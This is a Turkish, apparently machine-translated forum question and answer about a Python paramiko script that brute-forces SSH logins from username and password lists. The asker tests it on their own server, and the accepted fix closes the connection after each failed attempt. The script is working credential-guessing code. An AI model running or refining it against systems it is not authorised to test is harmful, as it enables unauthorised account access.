2016-03-21 19 views
0

'de asılı görünüyor Görünüşe göre, sözlük tabanlı saldırıları gerçekleştiren bir komut dosyasını test ettiğim bir SSH sunucum var. Genel olarak, tek bir kullanıcı adı: parola birleştirme dosyası kullanıyorum ve bunun üzerinden geçiyorum, ancak son zamanlarda hobi betiğimi ayrı kullanıcı adı ve parola kombinasyonları için değiştirmeye karar verdim. Basit bir yuvalanmış döngü olacağını düşündüm (şifreleri, kullanıcı adları için kullandığım bir dosya yerine bir listede saklamayı seçtim). Maalesef, bu ikinci döngüyü eklemek, programın nedenini tam olarak belirleyemediğim bir yere asıldığını gösteriyor. İnanılmaz bir şey eksikmiş gibi hissediyorum. Program gayet iyi çalışıyor ve beklendiği gibi çalışıyor ama gerçek anlamda geri dönüyor gibi görünüyor ... senaryo sadece doğru kombinasyonu bulduktan sonra asılı kalıyor ve asla düzgün bir şekilde çıkmıyor ... Manuel olarak sonlandırmak zorundayım. Hatalı blok aşağıda ... birincil komutumdan gelen bir sınıfın içindeki daha büyük bir yöntemin parçası. Yöntem çağrılır ve daha sonra ana komut çıkar, böylece buna neden olacak hiçbir şey yoktur.Python betiği

with open(self.pwds) as p: 
    pwords = p.read().splitlines() 
    try: 
     format_text = colored('WARNING', 'yellow', attrs=['underline']) 
    except: 
     format_text = "WARNING" 
    print (format_text, "warning_message") 
    with open(self.words) as w: 
     for line in w: 
      line = line.replace("\n", "") 
      user = line 
      for x in pwords: 
       passw = x 
       print ("Trying: ", user, ":", passw) 
       s = paramiko.SSHClient() 
       s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
       try: 
        s.connect(self.target, username=user, password=passw, timeout=3) 
       except paramiko.ssh_exception.AuthenticationException: 
        try: 
         format_text = colored('FAILED', 'red') 
        except: 
         format_text = 'FAILED' 
         print (format_text) 
       else: 
        print ("SUCCESS!") 
        s.close() 
        return; 
+0

Gördüğüm tek dönüş ifadesinin, "self.words" veya "self.pwds" öğesinin boş bir dosyaya işaret etmesidir. –

+0

Yapmıyorlar ve asla yapmıyorlar. Özellikle baştan sona mükemmel bir şekilde çalıştığı ve iç döngü olmadan incelikle bitirdiği için kafamı gerçekten çiziyorum. –

+0

pdb'yi kullanmayı deneyin. Bu soru maalesef, cevaplayabilmemiz için yeterli bilgiye sahip değil. –

cevap

0

Bu sorunu çözme girişimleri için herkese teşekkür ederiz. Cevabı buldum. SSH bağlantısını aşağıda belirtildiği gibi başarısız olsa bile kapatmam gerekiyordu.

   try: 
        s.connect(self.target, username=user, password=passw, timeout=3) 
       except paramiko.ssh_exception.AuthenticationException: 
        try: 
         format_text = colored('FAILED', 'red') 
        except: 
         format_text = 'FAILED' 
         print (format_text) 
         s.close() 
       else: 
        print ("SUCCESS!") 
        s.close() 
        return; 
İlgili konular